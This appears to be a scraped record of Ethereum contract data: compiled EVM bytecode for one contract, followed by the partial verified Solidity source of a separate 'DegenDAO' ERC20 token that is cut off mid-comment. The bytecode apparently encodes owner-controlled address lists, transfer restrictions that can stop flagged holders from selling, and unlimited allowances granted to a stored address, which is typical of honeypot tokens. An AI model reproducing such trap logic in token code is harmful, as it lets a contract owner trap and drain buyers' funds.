0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207e78beac997e5358de9841a391fe7d24cf5a9142333add291738f3106208f9e564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,898
0x6e914bdd2e7aa62bf591fb6033088230d2fae86f
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DegenDAO is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'DegenDAO '; string private _symbol = 'DDAO'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to 